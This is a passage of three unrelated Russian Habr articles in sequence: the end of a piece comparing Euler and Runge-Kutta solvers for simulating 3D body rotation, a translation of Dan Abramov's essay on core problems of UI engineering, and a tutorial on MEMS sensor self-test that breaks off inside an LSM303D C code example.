Ось вращения будет прецессировать, а вот кинетическая энергия и момент импульса - оставаться постоянными. Если они не будут сохраняться, значит где-то есть ошибка - либо в формулах, либо в коде.
Для меня было небольшим открытием, что именно это нужно и тестировать. Получается очень просто! Взять произвольное тело с вращающимся телом и проверить, как сохраняются физические инварианты - импульс с энергия. Если что-то выглядит и крякает как утка - это она и есть :) Такой тест по своей полезности оказывается важнее десятка юнит-тестов для отдельных функций.
Численное решение уравнения движения
------------------------------------
Здесь и далее будет более прикладная часть с кодом.
Итак, вращение тела можно описать дифференциальным уравнением второго порядка. Для оценки того, насколько точное получилось решение, я буду запускать в свободный полёт "гайку" и смотреть на вращаельный импульс и энергию. Чем сильнее они отклоняются от начальных значений - тем менее точное решение.
Дальше будет сравнение четырёх численных способов решения:
1. [Метод Эйлера первого порядка](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%AD%D0%B9%D0%BB%D0%B5%D1%80%D0%B0) - точность ужасна, используется в качестве простейшего примера.
2. [Улучшенный метод Эйлера](https://en.wikipedia.org/wiki/Heun%27s_method), второго порядка.
3. Метод Рунге-Кутты второго порядка.
4. [Метод Рунге-Кутты](https://en.wikipedia.org/wiki/Runge%E2%80%93Kutta_methods) четвёртого порядка.
Ещё существует метод [метод Верле](https://ru.wikipedia.org/wiki/%D0%9C%D0%B5%D1%82%D0%BE%D0%B4_%D0%A1%D1%82%D1%91%D1%80%D0%BC%D0%B5%D1%80%D0%B0_%E2%80%94_%D0%92%D0%B5%D1%80%D0%BB%D0%B5) - его часто используют в играх, вместо скорости надо хранить координаты в текущий и в предыдущий момент времени. Но для рассчёта ускорения вращающегося тела надо знать его точную скорость, а её в явном виде нет.
В защиту своей лени скажу, что метод Рунге-Кутты второго порядка очень похож на метод Верле - делается "подшаг" на половину шага вперёд, там считается ускорение и это ускорение применяется для рассчёта следующего состояния из текущего.
Для наглядности для каждого метода решения я построил графики отклонений по вращательной энергии и по кинетической энергии.
В общем виде решаем уравнение с каким-то шагом dt и известным $y\_0$
Конкретно в нашем случае уравнение второго порядка, которое можно записать так:
вектор (y'',y') можно обозвать как-нибудь типа Y и свести всё к диффуру первого порядка:
В моём коде есть вспомогательные классы типа State3d(Position3d, Velocity3d), а так же производная State3dDerivative(Velocity3d, Acceleration3d)
В этих терминах решение выражается просто и красиво.
### Метод Эйлера
Именем [Леонарда Эйлера](https://ru.wikipedia.org/wiki/%D0%AD%D0%B9%D0%BB%D0%B5%D1%80,_%D0%9B%D0%B5%D0%BE%D0%BD%D0%B0%D1%80%D0%B4) названо очень много всего - и углы, и уравнение вращения, и способ численного решения дифференциальных уравнений.
Самый простой, но катастрофически неточный.
Точность линейно зависит от размера шага.
В виде кода получается так:
```
val k1 = getDerivative(initial, time)
nextState(initial, k1, dt)
```
Для каждого из методов - график изменения энергии и отклонения момента импульса. Шаг рассчётов 0.01 сек, скорость вращения - порядка 1 радиана в секунду, время симуляции - 100 сек.
Синяя линяя - изменение кинетической энергии, делённое на начальную энергию для нормирования.
~~Красная~~ Оранжевая линия - отклонение момента импульса L от начального, опять же делённое на начальный |L|.
### Улучшенный метод Эйлера
Второй порядок точности.
Считаем ускорение в начальной точке, по нему находим "приблизительную следующую" точку (в обычном методе Эйлера мы бы тут и остановились)
Потом считаем ускорение в "приблизительно следующей" точке, усредняем его с ускорением в начальной и уже по этому ускорению находим конечную.
```
val k1 = getDerivative(initial, time)
val k2 = getDerivative(nextState(initial, k1, dt), time + dt)
val kMean = newZeroDerivative()
madd(kMean, k1, 0.5)
madd(kMean, k2, 0.5)
nextState(initial, kMean, dt)
```
Советую обратить внимание на масштаб. Относительная ошибка составляет 0.0001 от L, кинетическая энергия осцилирует слабее, но решительно и неутомимо растёт.
### Метод Рунге-Кутты второго порядка
Второй порядок, похоже на метод Верле.
Находим ускорение, делаем половину шага вперёд и находим ускорение там.
А потом применяем делаем шаг от \_начального\_ состояния с этим ускорением.
```
val k1 = getDerivative(initial, time)
val k2 = getDerivative(nextState(initial, k1, 0.5 * dt), time + 0.5 * dt)
nextState(initial, k2, dt)
```
Точность примерно такая же как в предыдущем методе. Энергия вращения потихоньку убывает. Я не проверял этот факт для всех возможных моментов инерции, просто забавный момент.
### Метод Рунге-Кутты четвёртого порядка
Если предыдущие методы было легко представить и понять, то в этом я не могу сказать, почему коэффициенты именно такие.
Берутся аж 4 точки - начальная, пол-шага вперёд, "уточнённые" пол-шага и потом шаг вперёд. Ускорения из всех четырёх точек усредняются с какими-то весами и с этим усреднённым делается шаг.
Я не буду писать длинные формулы, напишу сразу код:
```
val k1 = getDerivative(initial, time)
val k2 = getDerivative(nextState(initial, k1, 0.5 * dt), time + 0.5 * dt)
val k3 = getDerivative(nextState(initial, k2, 0.5 * dt), time + 0.5 * dt)
val k4 = getDerivative(nextState(initial, k3, dt), time + dt)
val kMean = newZeroDerivative()
madd(kMean, k1, 1.0 / 6.0)
madd(kMean, k2, 2.0 / 6.0)
madd(kMean, k3, 2.0 / 6.0)
madd(kMean, k4, 1.0 / 6.0)
nextState(initial, kMean, dt)
```
Для L ошибка меньше раза в 3, энергия вращения в среднем растёт на какую-то крохотную капелюшечку - меньше одной стотысячной. Если между методами первого и второго порядка радикальная разница в точности, то переход к четвёртмоу порядку, похоже, даёт небольшой вклад.
Возможно, я где-то ошибся и вместо четвёртого порядка точности у меня так и остался второй. Надеюсь, что нет.
P. P. S. Ошибка дейтвительно была. Именно для метода четвёртого порядка надо считать честную производную от кватерниона (она тоже будет иметь четыре компонента, как и кватернион), усреднять производные с какими-то весами, добавлять к кватерниону ориентации и только потом нормализовать его. График для такого подхода:
Если симулировать только линейные движения тел, то толку от метода четвёртого порядка может и не быть - например свободно падающее тело двигатеся с постоянным ускорением g, производная от ускорения и последующие производные равны нулю, метод второго порядка точности даст идеально точное решение.
Для сравнения три графика (для старой некорректной версии) - с шагом в 0.1, 0.01 и 0.001.
Предлагаю обратить внимание на левый график. За шаг модель поворачивается примерно на 0.1 радиана. Примерно 6 градусов. Точность хуже, за пару десятков оборотов ошибка успевает вырасти на 0.2%. Можно добавить в модель слабую силу трения, чтобы энергия не росла и использовать её в играх. Вряд ли игрок расстроится, если вращение будет потихоньку "затухать" с характерным временем в несколько часов.
P.P.S. Ниже графики для исправленного метода. Точность лучше для любого шага по времени, но шаг 0.1 всё равно можно считать минимально допустимым.
Кроме явных схем решения дифференциальных уравнений есть ещё и неявные. Я в них не разбираюсь, поэтому ничего про них не пишу.
Код солверов в двух местах:
* [абстрактные функции](https://github.com/Kright/ScalaGameMath/blob/master/src/main/scala/com/kright/math/DifferentialSolvers.scala)
* [код для 3д тел, который их вызывает](https://github.com/Kright/my-articles/blob/master/2022/%D0%A4%D0%B8%D0%B7%D0%B8%D0%BA%D0%B0%20%D0%B2%D1%80%D0%B0%D1%89%D0%B5%D0%BD%D0%B8%D1%8F%203%D0%B4%20%D1%82%D0%B5%D0%BB/libgdxDemo/src/main/scala/com/kright/benchmark/Solver.scala)
Результаты
----------
В репозитории лежит [sbt проект](https://github.com/Kright/my-articles/tree/master/2022/%D0%A4%D0%B8%D0%B7%D0%B8%D0%BA%D0%B0%20%D0%B2%D1%80%D0%B0%D1%89%D0%B5%D0%BD%D0%B8%D1%8F%203%D0%B4%20%D1%82%D0%B5%D0%BB/libgdxDemo). Можно запустить *sbt run* и выбрать один из двух вариантов:
1. [libgdxDemo](https://github.com/Kright/my-articles/blob/master/2022/%D0%A4%D0%B8%D0%B7%D0%B8%D0%BA%D0%B0%20%D0%B2%D1%80%D0%B0%D1%89%D0%B5%D0%BD%D0%B8%D1%8F%203%D0%B4%20%D1%82%D0%B5%D0%BB/libgdxDemo/src/main/scala/com/kright/RotationDemo.scala) - симуляция + визуализация вращения "гайки"
2. [precisionTest](https://github.com/Kright/my-articles/blob/master/2022/%D0%A4%D0%B8%D0%B7%D0%B8%D0%BA%D0%B0%20%D0%B2%D1%80%D0%B0%D1%89%D0%B5%D0%BD%D0%B8%D1%8F%203%D0%B4%20%D1%82%D0%B5%D0%BB/libgdxDemo/src/main/scala/com/kright/benchmark/PrecisionTest.scala) - сравнение разных солверов на разных шагах по времени. Порядок скорости вращения - единица. Вместо увеличения скорости вращения тела можно "эмулировать" это увеличением шага по времени для той же скорости. Для понимания происходящего результаты сохранятся в виде csv файлов. В репозитории их нет, надо хотя бы разок запустить precisionTest.
Рядом лежит [jupyter notebook](https://github.com/Kright/my-articles/blob/master/2022/%D0%A4%D0%B8%D0%B7%D0%B8%D0%BA%D0%B0%20%D0%B2%D1%80%D0%B0%D1%89%D0%B5%D0%BD%D0%B8%D1%8F%203%D0%B4%20%D1%82%D0%B5%D0%BB/PrecisionCharts.ipynb), в котором можно полюбоваться на графики изменения ошибок в зависимости от времени.
Например, для шага в 0.1 секунды методы второго порядка становятся не очень точными, за условные 100 секунд и пару десятков оборотов накапливается ошибка в два-три процента. У Рунге-Кутты четвёртого порядка точность лучше, накопленная ошибка - около одной четвёртой процента.
Графики такие же как в статье, но их больше. Для разных методов сравниваются разные шаги по времени.
Выводы
------
Я попробовал собрать всё в одном месте и пройти путь от теории до практического применения.
Методы второго порядка выглядят хорошим компромиссом между точностью и простотой. Четвёртый порядок точности лучше, я бы советовал использовать именно его. Первый порядок точности можно использовать разве что в образовательных целях.
Наверно, минимальным разумным шагом симуляции можно считать шаг, за который тело повернётся на 0.1 радиан (примерно 6 градусов). Ошибка будет расти не очень быстро, особенно если для использовать метод четвёртого порядка.
Если уменьшить шаг симуляции до угловой скорости в 0.01-0.001 радиана за шаг, то можно получить точность порядка 10^5 - 10^7 для метода второго порядка или до 10^13 для метода Рунге-Кутты четвёртого порядка. Этого, наверно, хватит всем. | https://habr.com/ru/post/697534/ | null | ru | null |
# Основные проблемы разработки современных интерфейсов
Привет, Хабр! Представляю вашему вниманию перевод [поста](https://overreacted.io/the-elements-of-ui-engineering/) Дэна Абрамова [«The Elements of UI Engineering»](https://overreacted.io/the-elements-of-ui-engineering/) о современных проблемах и задачах, которые должны быть решены в хорошем интерфейсе. Автор разбирает фундаментальные проблемы при разработке интерфейсов, осмысление и решение которых самостоятельно — без использования готовых библиотек и фреймворков — способно дать глубинное понимание существующих на рынке решений в области frontend-разработки.
**Примечание переводчика**Текст написан и переведен от первого лица. Автор оригинала на английском — [Дэн Абрамов](https://twitter.com/dan_abramov), разработчик библиотеки React для построения сложных пользовательских интерфейсов.
В моей [прошлой публикации](https://overreacted.io/things-i-dont-know-as-of-2018/) я писал про то, как важно уметь признавать пробелы в собственных знаниях. Могло показаться, будто я предлагаю вам отговорки для того, чтобы быть посредственностью. Вовсе нет! Но на самом деле наши знания — это обширная тема для разговора.
Я убежден, что вы можете начать свое познание «с места в карьер» и нет необходимости изучать технологии (технологический стек для веб-разработки — прим. переводчика) в определенном порядке. Но я так же считаю, что имеет огромное значение накопление опыта и профессиональных навыков в выбранной области. Лично я всегда испытывал наибольший интерес к созданию пользовательских интерфейсов.
**И я раздумывал — в *чем* же я разбираюсь и *что* нахожу важным?** Конечно, я хорошо знаком с такими технологиями, как Javascript и React. Однако, самые важные вещи, которые приходят с опытом, неуловимы и обычно ускользают при попытках точно их сформулировать. Я никогда не пытался выразить их словами. Это моя первая попытка систематизировать и описать некоторые из них.
---
Сегодня есть много разных путей при изучения технологий. На какую библиотеку сделать ставку в 2019 году? А в 2020? Стоит изучать Vue или React? Или Angular? Что насчет Redux или Rx? Нужно ли изучать Apollo? REST или GraphQL? Здесь легко потеряться! К тому же автор тоже может ошибаться.
Мои наибольшие достижении в познании не связаны с какой-то конкретной технологией. Я начинал понимать больше, когда занимался решением конкретной UI (User Interface — прим. переводчика) проблемы. При этом иногда я находил чужие библиотеки и паттерны, которые помогали мне решить задачу. А иногда писал собственные решения (и хорошие, и ужасные).
Эта комбинация — состоящая из *осмысления проблемы*, экспериментов с *инструментарием* и применения различных *путей решения* — давала мне наиболее ценный опыт и навыки. **Этот пост сфокусирован только на проблемах, осмыслением которых я занимался в ходе создания пользовательских интерфейсов.**
---
Если вы занимались разработкой пользовательских интерфейсов, то вы, скорее всего, сталкивались с некоторыми из этих проблем — напрямую или при использовании библиотек. В обоих случаях, я рекомендую вам поработать над простым приложением без библиотек вообще, попытаться воспроизвести и решить эти проблемы. Не существует единственно верного решения ни для одной из них. Опыт приходит со знакомством с этими проблемами и изучением возможных решений, учитывая сильные и слабые стороны каждого.
#### Целостность (Consistency)
Вы лайкнули пост и появилась надпись: «Вы и еще 3 ваших друга оценили это». Вы нажали на кнопку лайка еще раз и надпись исчезла. Звучит легко! Но возможно, что такая надпись присутствует в нескольких местах на экране. Возможно, что существует так же дополнительная визуальная индикация для лайка (например, цвет фона у кнопки), которая тоже должна изменяться. А список «лайкеров», который был предварительно получен с сервера и отображается при наведении мышкой, теперь должен включать ваше имя. А если вы перешли в другой раздел или нажали кнопку Назад, то пост не должен «забыть», что у него есть ваш лайк. Как видите, даже локальная целостность для одного пользователя создает ряд непростых задач. При этом другие пользователи тоже могут взаимодействовать с данными, которые отображаются у вас (например, лайкнуть пост, который вы просматриваете). Как нам поддерживать данные синхронизированными в разных частях экрана? Как и когда нам сверять локальные данные с сервером и получать/отсылать изменения?
#### Отзывчивость (Responsiveness)
Люди допускают отсутствие визуальной обратной связи для своих действий только в течение очень ограниченного времени. Для *непрерывных* действий пользователя, таких как скролл, отсутствие реакции приложения возможно только в течение кратчайшего периода. Даже пропуск одного кадра в 16 миллисекунд уже выглядит глючно и недоработано. Для *дискретных* (разовых) действий, таких как клик, по данным некоторых исследований пользователи нормально воспринимают задержки в отлике менее 100 миллисекунд. Если же действие занимает больше времени, то необходимо показывать визуальный индикатор. Однако, тут есть несколько контринтуитивных задач. Индикаторы, которые вызывают сдвиг в шаблоне страницы или которые проходят через несколько сменяющихся этапов, могут сделать действие дольше «по ощущениям», чем оно было на самом деле. Аналогично, отклик приложения в течение 20 миллисекунд за счет пропуска одного кадра анимации может «ощущаться» медленнее, чем полная анимация в течение 30 миллисекунд. Наше сознание не работает, как бенчмарки. Как нам поддерживать приложения отзывчивыми?
#### Время отклика(Latency)
Компьютерные вычисления и передача данных по сети требует времени. Иногда мы можем игнорировать время вычислений, если оно не влияет на отзывчивость на устройствах пользователей (однако, убедитесь, что вы протестировали свой код на старых и бюджетных устройствах). Однако, обработку времени передачи данных по сети избежать нельзя — оно может исчисляться секундами! Приложение не может просто «зависнуть», пока мы ждем загрузки данных или кода. Это значит, что любое действие, требующее новых данных, кода или ассетов, является потенциально асинхронным и должно обрабатывать состояние своей загрузки. Это верно для абсолютного большинства экранов и элементов. Как же правильно обрабатывать задержку при передаче данных, не отображая при этом каскад крутящихся спиннеров или пустых «дыр» в интерфейсе? Как избежать сдвигов в шаблоне страницы? И как менять асинхронные зависимости без необходимости в постоянном переписывании кода?
#### Навигация (Navigation)
Мы ожидаем, что интерфейс будет «стабильным» при взаимодействии с ним. Элементы не должны внезапно исчезать. Навигация, как внутри приложения (например, ссылки), так и внешняя (например, кнопка Назад в браузере), так же должна придерживаться этого принципа. Например, переключение между вкладками `/profile/likes` и `/profile/follows` в разделе пользователя не должно обнулять содержимое поля поиска за пределами этого раздела. Даже переключение на другой экран должно быть похоже на прогулку в другую комнату. Люди ожидают, что вернувшись назад, они найдут все вещи там, где они их оставили (и, возможно, будут рады каким-то новым вещам). Если вы находились в середине вашей ленты, нажали на вкладку профиля, после чего вернулись обратно в ленту — то вы точно не хотите заново листать ленту с самого начала или ждать, пока прогрузится прошлое состояние ленты. Как нужно проектировать приложение, чтобы обрабатывать произвольную навигацию пользователя без потери важного контекста?
#### Устаревание (Staleness)
Мы можем сделать реализацию кнопки Назад моментальной, добавив в приложение локальный кэш. Для этого мы будем хранить в кеше необходимые данные (данные прошлого состояния — прим. переводчика). Мы можем даже теоретически обновлять кэш, чтобы поддерживать данные в актуальном состоянии. Однако, имплементация кэширования влечет за собой новые проблемы. Кэш может устаревать. Если я поменял аватар, то он должен обновиться в том числе и в кэше. Если я опубликовал новый пост, то он должен сразу появиться в кэше, в противном случае кэш станет недействительным. Такой код в итоге может стать слишком сложным и трудно поддерживаемым. Что если процесс публикация завершится с ошибкой? Как долго кэш хранится в памяти? Когда мы заново получаем набор даных, то мы объединяем новые данные с закэшированными ранее или же избавляемся от старого кэша и кэшируем весь набор заново? Как пагинация и сортировки должны быть представлены в кэше?
#### Энтропия (Entropy)
Второй закон термодинамики гласит примерно следующее: «Со временем все превращается в полный бардак» (не дословно, конечно). Это верно и для пользовательских интерфейсов. Мы не можем предугадать действия конкретного пользователя и их последовательность. В любой момент времени наше приложение может находиться в одном из огромного (гигантского!) количества различных состояний. Мы стараемся изо всех сил, чтобы сделать результат предсказуемым и ограниченным в соответствии с нашим дизайном. Мы не хотим смотреть на скриншот с багом и думать про себя: «Как это вообще произошло?» Для *N* возможных состояний существует *N×(N–1)* возможных переходов между ними. Например, если для кнопки возможны пять различных состояний (нормальное, активное, с наведением, подсвеченное и отключенное), то код, отвечающий за изменение кнопки, должен быть корректен для 5×4=20 возможных переходов — или прямо запрещать некоторые из них. Как нам справляться с комбинаторным увеличением возможных состояний и создавать предсказуемый визуальный вывод?
#### Приоритет (Priority)
Одни вещи важнее других. Может быть, у вас интерфейс диалога должен появляться строго «над» кнопкой, которой он был вызван, и выходить за пределы родительского контейнера. Или только что запланированная задача (т.е. результат клика) может быть важнее, чем продолжительная задача, выполнение которой уже началось. С увеличением масштаба приложения разные его части, написанные разными людьми или даже командами, начинают соревноваться за ограниченные ресурсы, такие как вычислительные мощности процессора, трафик сети, место на экране или размер бандла. Иногда вы можете распределить элементы по единой шкале «важности», подобно CSS-правилу `z-index`. [Но обычно это не заканчивается ничем хорошим](https://blogs.msdn.microsoft.com/oldnewthing/20050607-00/?p=35413). Любой разработчик искренне считает свой код важным. Но если все будет одинаково важным, то значит — ничего не важно. Каким образом мы можем заставить независимые части приложения *взаимодействовать*, а не сражаться за ограниченные ресурсы?
#### Доступность (Accessibility)
Сайты, не адаптированные для людей с ограниченным возможностями, не являются узкоспециализированной проблемой. Например, в Англии с этой проблемой сталкивается каждый пятый пользователь ([вот](https://www.abrightclearweb.com/web-accessibility-in-the-uk/) наглядная инфографика). Я ощутил это и на себе. Несмотря на то, что мне всего 26, я с трудом пользуюсь сайтами с тонкими шрифтами и неконтрастной цветовой гаммой. Я стараюсь реже использовать трекпад, но боюсь того дня, когда мне придется воспользоваться с клавиатуры не адаптированным для этого сайтом. Мы обязаны не превращать наши приложения в кошмар для людей с ограниченным возможностями — и хорошие новости заключаются в том, что это не так уж и сложно. Нужно начать с изучения решений и инструментов. К тому же мы должны сделать простым и понятным для дизайнеров и разработчиков принятие правильные решения. Что мы можем сделать для того, чтобы доступность наших приложений была включена по умолчанию, а не являлась запоздалой доработкой?
#### Интернационализация (Internationalization)
Наши приложения должны работать по всему миру. Да, люди говорят на разных языках, а ведь помимо этого необходима поддержка письма справа налево, при чем при минимальных усилиях со стороны разработчиков. Как нам поддерживать разные языки и письменности, не теряя при этом в отзывчивости приложения и времени отклика?
#### Доставка (Delivery)
Мы должны доставить код приложения до компьютере конечного пользователя. Какой способ передачи и формат мы будем использовать? В этом вопросе каждый ответ будет компромиссом со своим набором сильных и слабых сторон. Например, нативным приложениям приходится загружать весь свой код заранее из-за своего огромного размера. В то время, как веб-приложения обычно имеют гораздо меньшее время начальной загрузки, но вынуждены обрабатывать множество задержке и загрузок во время использования. Как нам решить, какой тип задержки выбрать из этих двух вариантов? Как нам оптимизировать время отклика исходя из статистики использования приложения пользователями? Какими данными нам нужно располагать для принятия оптимального решения?
#### Гибкость (Resilience)
Никто не любит встречать баги в собственных программах. Тем не менее, некоторые баги неизбежно доберутся до продакшена. И очень важно — что произойдет тогда. Некоторые баги вызывают неправильное, но строго определенное и заранее заданное поведение. Например, ваш код показывает не подходящее состояние для заданного условия. Но что если в результате бага приложение полностью прекратило отрисовку? В этом случае мы не сможем продолжить осмысленное выполнение программы, так как визуальный вывод будет не определен. Ошибка при отрисовке одного поста из ленты не должна «ломать» отрисовку всей ленты или ввести приложение в нестабильное состояние, которое приведет к дальнейшим ошибкам. Как нам писать код, который изолирует ошибки при отрисовке или получении данных в одной из частей и продолжит корректную работу остального приложения? Что означает отказоустойчивость при создании пользовательских интерфейсов?
#### Абстрактность (Abstraction)
В небольшом приложении мы можем хардкодить и решать все вышеперечисленные проблемы в лоб. Но приложениям свойственно расти. Мы хотим иметь возможность [переиспользовать, разветвлять и объединять](https://overreacted.io/optimized-for-change/) различные части приложения и делать это совместно с другими людьми. Мы хотим определить понятные границы между частями одного целого, которые будут приняты разными людьми и при этом избежать слишком жесткой логики, так как она часто изменяется и эволюционирует в процессе работы. Как нам создавать абстракции, которые позволят скрыть детали имплементации UI? Как нам избежать повторного появления перечисленных проблем с ростом приложения?
---
Конечно, есть еще много проблем, которые я не упомянул. Этот список не является ни в какой мере полным или исчерпывающим. Например, я вообще не затронул тему совместной работы дизайна и разработки, тему отладки или тестирования. Возможно, мы вернемся к этому в другой раз.
Заманчиво читать про эти проблемы, держа в голове в качестве решения конкретный фреймворк для отображения данных или библиотеку для получения данных. Но я рекомендую вам представить, что этих решений не существует и попробовать прочитать еще раз. Как бы вы попытались решить эти вопросы? Попробуйте реализовать свои идеи на простом приложении. Я буду рад увидеть результаты ваших экспериментов на Github. (Просто отмечайте Дэна Абрамова в [Твиттере](https://twitter.com/dan_abramov) и прикрепляйте ссылки на репозитории — прим. переводчика).
Что особенно интересно в этих проблемах — большинство из них проявляют себя на любом масштабе. Вы можете столкнуться с ними при работе над маленьким виджетом, типа всплывающей подсказки, и в огромных приложениях, таких как Twitter или Facebook.
Подумайте про нетривиальные элементы пользовательского интерфейса из приложения, которым вам нравится пользоваться, и пробегите вновь по списку вышеперечисленных проблем. Вы можете описать компромиссы, на которые пошли разработчики? Попробуйте воспроизвести похожее поведение с нуля!
Я многое осознал про разработку хороших пользовательских интерфейсов, экспериментирую над этими проблемами в маленьких приложениях без использования сторонних библиотек и фреймворков. Я рекомендую это всем, кто хочет обрести глубокое понимание решений и компромисов при разработке сложных интерфейсов. | https://habr.com/ru/post/435912/ | null | ru | null |
# Самодиагностика МЕМС акселерометра, гироскопа и компаса (self test)
Изучая спецификацию (datasheet) на МЕМС-датчик (акселерометр, гироскоп и проч.) мы сталкиваемся с такой процедурой, как самопроверка (self-test) или самодиагностика. Обычно в спецификациях есть описание, как это делать. Кому интересно: что это и как это правильно делать? — добро пожаловать под кат.
#### Введение
Самопроверка позволяет определить, что данные с датчика показывают то, что должны показывать. Датчики не всегда имели режим самодиагностики. Чтобы определить соответствие измеряемых данных тому, что указано в спецификации, разработчик должен был проверять это специальными экспериментами. В случае акселерометра — совершать наклоны на определённые углы и снимать изменение показаний. Анализируя результаты, можно было оценить погрешность, выдаваемую датчиком. Если показатели не соответствовали спецификации, датчик признавался бракованным.
Это усложняло массовое производство и во все датчики стали включать процедуру самодиагностики. Замысел процедуры достаточно прост — создать условия, при которых мы будем знать, что должен показывать датчик, и сравнить с тем, что он показывает. Отклонения выше заданных забраковывают датчик. Для компасов делают элемент, создающий магнитное поле (прямо в корпусе датчика). Включение режима самодиагностики включает этот элемент — эталонный источник. Для акселерометра и гироскопа элемент генерирует электростатическое поле, которое отклоняет грузик (см. фото ниже) и имитирует физическое движение или вращение. Величина смещения известна, соответственно известна величина, которую должен показать датчик. Если погрешность снятых показаний в заявленных пределах — значит с датчиком всё в порядке и он работает в соответствии со спецификацией.
(статья из интернет-журнала, откуда я позаимствовал картинку содержит ещё много красивых увеличенных фоток, ссылки см. внизу)
#### 1. Влияние на самопроверку внешних сил
Рассмотрим акселерометр. Как указано ранее, в режиме самодиагностики на микромеханический грузик воздействует электростатическая сила, отклоняющая его на определённое расстояние, и имитирующая тем самым ускорение. Однако ожидаемую величину на выходе датчика мы не увидим. Дело в том, что в спокойном состоянии на грузик действуют другие силы (напр. сила тяжести). Они дополнительно отклоняют грузик.
Для того, чтобы учесть внешние силы, в процедуре самопроверки снимаются показания датчика в обычном режиме. Затем включается источник отклонения (переход в режим «самопроверка») и снова снимаются показания датчика.
aнорм = aвнешние
aST = aвнешние + aвнутр. ист.
Разница показаний этих двух режимов должна показывать величину с эталонного источника. Если величина находится в допустимом спецификацией диапазоне, то это значит, что датчик работает должным образом.
aвнутр. ист. = aST — aнорм
MIN < aвнутр. ист. < MAX
Отсюда важный вывод — внешние силы в обоих режимах должны быть равны. Т. е. датчик должен быть неподвижен. Когда устройство в руках — оно подвижно. Когда вы что-то нажимаете (или заканчиваете нажимать) на устройстве — оно тоже подвижно. Если на устройство действует вибрация — оно подвижно. И так далее.
#### 2. Что ещё нужно учитывать при проведении самопроверки?
При проведении самопроверки датчика также необходимо учитывать:
* При переключении датчика в режим измерений, может потребоваться некоторое количество времени для того, чтобы акселерометр стал готов для сбора данных. Время уточнять в спецификации.
* Проведение самодиагностики желательно проводить в различных измеряемых диапазонах датчика (2G, 4G, и т. п.).
* Иногда возможно инверсионное включение эталонного источника (может тянуть в одну или в другую сторону). В спецификации тогда будет указано два режима самопроверки (например «Self-test P(ositive)» и «Self-test N(egative)»).
#### 3. Как найти величину отклонения грузика эталонным источником?
Величины отклонения грузика эталонным источником по осям:
* Могут быть указаны явно в спецификации.
* Может быть указан широкий диапазон возможных значений. Принцип тот же — если полученная разница aвнутр. ист. попадает в этот диапазон, то датчик в порядке. Нужно только понимать, что такой подход практикуется не для самых точных датчиков.
* Значения могут храниться в специальных регистрах (что-нибудь вроде «SELF\_TEST\_X\_ACCEL»). Это значит производитель уточнил величины отклонения для каждого конкретного датчика и положил в его память. Производитель может сэкономить память и записать не значение, а коэффициент формулы, с помощью которой можно рассчитать значение. Сам метод расчёта тогда будет в спецификации или в одном из её приложений.
Величина отклонения обычно указывается в условных единицах датчика — LSB. Это то, что в выходном регистре лежит. Рассмотрим значения, которые даёт внутренний источник датчика LIS302DL (датчик 8-мибитный):
Он интересен тем, что как раз содержит два режима работы внутреннего источника. Глядя в таблицу можно подумать, что значения приведены для обоих направлений внутреннего источника. Однако на самом деле это расширенный диапазон для одного направления — «Self test P». Обычно направление одно и значения указывают так:
Либо могут указать в измеряемых единицах:
Чтобы из значений датчика получить измеряемую величину, нужно воспользоваться формулой:
Величина\_в\_единицах\_измерения = Значение\_в\_LSB \* Чувствительность.
Чтобы перевести измеряемую величину обратно в единицы датчика, нужно воспользоваться формулой:
Значение\_в\_LSB = Величина\_в\_единицах\_измерения / Чувствительность.
Чувствительность в спецификациях пишут так:
или так
Можно чувствительность посчитать самостоятельно:
Чувствительность = Измеряемый\_диапазон / разрешение
Пример: Величина\_LSB = Величина\_измеряемая \* Разрешение / Измеряемый\_диапазон = 8 \* 0,001 \* g \* 65536 / 4 \* g = 131,072, т. е. ±131.
#### 4. Как понять, что величина находится в допустимом диапазоне?
Допустимый диапазон может быть указан несколькими способами:
* Может быть явно указан минимум и максимум.
* Может быть указан в виде допустимого процента отклонения (например где-нибудь в сноске).
* По идее должен быть не больше уровня шума.
Уровень шума обычно указывают через среднеквадратичное отклонение (RMS). Диапазон погрешности будет тогда равен удвоенному среднеквадратичному отклонению (±). Примеры:
В первом примере указан корень из спектральной плотности мощности шумов. Чтобы получить СКО шума, следует значение умножить на корень из полосы фильтра, который у вас будет стоять по выходу датчика. Например, при полосе 25 Гц получите 750 ug в качестве СКО (спасибо [Korogodin](http://geektimes.ru/users/korogodin/) за подсказку). Если хотим получить значение без учёта фильтрации, берём частоту замеров. В данном случае при 100Гц получается 1,5mg. Во втором и третьем примере указан максимальный уровень шума. Например 8 \* 0,001 \* g = 0,0784 м/с2. Значит возможный разбег величины самопроверки = ±0,0784 м/с2. Здесь тоже нужно быть внимательным, т. к. иногда уровень шума указывают с включенным фильтром. Это значит, что замеры нужно делать с теми же настройками фильтра.
Примеры самодиагностики:
**Пример кода самопроверки LSM303D**
```
uint8_t sign = lsm303d_read(LSM303D_ADDR_WHO_AM_I);
if (sign != LSM303D_WHO_I_AM)
{
//on_fatal_error("Нет сигнала с LSM303D");
}
lsm303d_write(LSM303D_ADDR_CTRL_REG1,
LSM303D_REG1_RATE_100HZ_A |
LSM303D_REG1_X_ENABLE_A |
LSM303D_REG1_Y_ENABLE_A |
LSM303D_REG1_Z_ENABLE_A
);
delay_ms(100);
uint8_t i;
int32_t avg_x__norm = 0,
avg_y__norm = 0,
avg_z__norm = 0;
vector v;
// делаем 100 замеров в обычном режиме
for (i = 0; i < 100; i++)
{
lsm303d_get_acc(&v);
avg_x__norm += v.x;
avg_y__norm += v.y;
avg_z__norm += v.z;
}
avg_x__norm /= 100;
avg_y__norm /= 100;
avg_z__norm /= 100;
// Включаем внутренний источник (режим "self-test")
lsm303d_write(LSM303D_ADDR_CTRL_REG2,
LSM303D_REG2_FULL_SCALE_2G_A |
2
);
delay_ms(100);
int32_t avg_x__st = 0,
avg_y__st = 0,
avg_z__st = 0;
// делаем ещё 100 замеров
for (i = 0; i < 100; i++)
{
lsm303d_get_acc(&v);
avg_x__st += v.x;
avg_y__st += v.y;
avg_z__st += v.z;
}
avg_x__st /= 100;
avg_y__st /= 100;
avg_z__st /= 100;
// Выключаем внутренний источник
lsm303d_write(LSM303D_ADDR_CTRL_REG2, 0);
delay_ms(100);
float internal_source_x, internal_source_y, internal_source_z; // mg
internal_source_x = (avg_x__st - avg_x__norm)*0.061;
internal_source_y = (avg_y__st - avg_y__norm)*0.061;
internal_source_z = (avg_z__st - avg_z__norm)*0.061;
if ((internal_source_x < 70.0) ||
(internal_source_x >1700.0) ||
(internal_source_y < 70.0) ||
(internal_source_y >1700.0) ||
(internal_source_z < 70.0) ||
(internal_source_z >1700.0))
{
// detect problem
draw_EraseScreen();
